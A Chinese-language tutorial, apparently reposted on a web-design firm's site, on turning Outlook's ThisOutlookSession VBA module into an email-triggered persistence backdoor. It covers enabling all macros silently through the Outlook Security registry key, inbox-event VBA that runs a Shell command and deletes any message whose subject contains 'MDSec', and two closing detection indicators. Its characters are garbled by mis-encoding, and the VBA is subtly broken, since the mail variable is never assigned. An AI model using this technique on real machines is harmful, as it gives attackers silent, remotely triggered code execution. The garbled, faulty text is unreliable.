本篇內容主要講解“怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門”吧!
創(chuàng)新互聯(lián)是一家專業(yè)提供蒲城企業(yè)網(wǎng)站建設,專注與成都網(wǎng)站建設、成都網(wǎng)站設計、HTML5、小程序制作等業(yè)務。10年已為蒲城眾多企業(yè)、政府機構等服務。創(chuàng)新互聯(lián)專業(yè)的建站公司優(yōu)惠進行中。
跟大多數(shù)的Microsoft Office產(chǎn)品一樣,Outlook也可以啟用開發(fā)者選項,并通過VB編輯器來創(chuàng)建基于VBA的宏。打開編輯器,然后創(chuàng)建一個簡單的宏文件,你將會看到一個名為“ThisOutlookSession”的Outlook模塊:
保存這個宏之后,一個VbaProject.OTM文件將會在“%APPDATA%\Roaming\Microsoft\Outlook ”目錄中被創(chuàng)建:
在默認配置下是無法執(zhí)行這個宏的,因為默認配置為“除了已簽名的宏之外,其他所有的宏都被禁用”。
但是,我們可以通過使用以下值創(chuàng)建Security注冊表項來修改此配置:
Level值定義的是宏安全配置,包含下列值:
4 = Disable all macros without notification 3 = Notifications for digitally signed macros, all other macros disabled 2 = Notifications for all macros 1 = Enable all Macros
如果想允許宏以隱蔽方式運行而不通知用戶的話,我們需要設置“Level”值以在操作期間啟用所有宏。
通過檢查VbaProject.OTM文件,我們發(fā)現(xiàn)它是標準的Microsoft復合文檔文件(CDF):
dmc@deathstar ~ ? file ~/VbaProject.OTM VbaProject.OTM: Composite Document File V2 Document, Cannot read section info
對oledump.py進行深入分析后,我們發(fā)現(xiàn)了包含宏代碼的OLE數(shù)據(jù)流:
dmc@deathstar ~ ? python oledump.py ~/VbaProject.OTM 1: 43 'OutlookProjectData' 2: 388 'OutlookVbaData/PROJECT' 3: 59 'OutlookVbaData/PROJECTwm' 4: M 6156 'OutlookVbaData/VBA/ThisOutlookSession' 5: 2663 'OutlookVbaData/VBA/_VBA_PROJECT' 6: 497 'OutlookVbaData/VBA/dir'
現(xiàn)在,我們已經(jīng)知道VbaProject.OTM是一個啟用了標準OLE宏的文檔,因此創(chuàng)建、混淆、清除和重載這些文件的傳統(tǒng)工具和技術仍然適用。接下來,我們看看如何將其轉換成一種持久化武器。
為了讓這種VBA代碼執(zhí)行技術轉換成對我們有用的東西,我們需要將代碼作為事件的結果執(zhí)行。ThisOutlookSession模塊允許我們訂閱Outlook中的各種事件,這就是我們實現(xiàn)代碼執(zhí)行的一個可用元素了。
針對持久化來說,目標事件的潛在選項包括用戶驅動的某些事件,比如說Outlook打開或用戶自行操作的某些事件,例如指定的郵件送達等等。對于我們的場景,我們將主要研究如何利用帶有特定主題的郵件來執(zhí)行任意的VBA。
為了確認新郵件的接收時間,我們可以在Outlook啟動時首先訂閱默認收件箱的相關事件。首先,在注冊事件的同時在默認收件箱文件夾(olInboxItems)中設置變量:
Option Explicit Private WithEvents olInboxItems As Items Private Sub Application_Startup() Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items End Sub
為了使用指向用戶收件箱的引用,我們可以使用“ItemAdd”回調來接收新消息抵達事件:
Private Sub olInboxItems_ItemAdd(ByVal Item As Object) End Sub
具體說來,我們只對接收的電子郵件感興趣,因此我們需要對回調進行優(yōu)化,只允許新郵件來觸發(fā)我們的事件。這里可以通過驗證郵件類型是否為“MailItem”來實現(xiàn):
Private Sub olInboxItems_ItemAdd(ByVal Item As Object) If TypeOf Item Is MailItem Then MsgBox "You have mail" End If End Sub
當然了,我們并不需要每一封接收到的郵件都觸發(fā)我們的事件,所以我們需要對郵件地址、主題和正文內容等進行過濾:
Private Sub olInboxItems_ItemAdd(ByVal Item As Object) On Error Resume Next Dim olMailItem As MailItem If TypeOf Item Is MailItem Then If InStr(olMailItem.Subject, "MDSec") > 0 Then MsgBox "Hack The Planet" olMailItem.Delete End If End If Set Item = Nothing Set olMailItem = Nothing End Sub
綜上所屬,讓我們來彈個計算器(calc.exe)試試:
Option Explicit Private WithEvents olInboxItems As Items Private Sub Application_Startup() Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items End Sub Private Sub olInboxItems_ItemAdd(ByVal Item As Object) On Error Resume Next Dim olMailItem As MailItem If TypeOf Item Is MailItem Then If InStr(olMailItem.Subject, "MDSec") > 0 Then MsgBox "Hack The Planet" Shell "calc.exe" olMailItem.Delete End If End If Set Item = Nothing Set olMailItem = Nothing End Sub
從目標設備的角度來看,我們可以通過下列兩個關鍵指標來檢測這種攻擊技術:
監(jiān)控“%APPDATA%\Roaming\Microsoft\Outlook\VbaProject.OTM”文件的創(chuàng)建和修改事件(Sysmon 事件 ID 11);
監(jiān)控“HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security”注冊表鍵值的創(chuàng)建和修改事件(Sysmon 事件 ID 12);
到此,相信大家對“怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門”有了更深的了解,不妨來實際操作一番吧!這里是創(chuàng)新互聯(lián)網(wǎng)站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續(xù)學習!
網(wǎng)頁題目:怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門
網(wǎng)頁路徑:http://bm7419.com/article12/igoegc.html
成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站策劃、網(wǎng)站設計公司、定制開發(fā)、域名注冊、全網(wǎng)營銷推廣、營銷型網(wǎng)站建設
聲明:本網(wǎng)站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經(jīng)允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯(lián)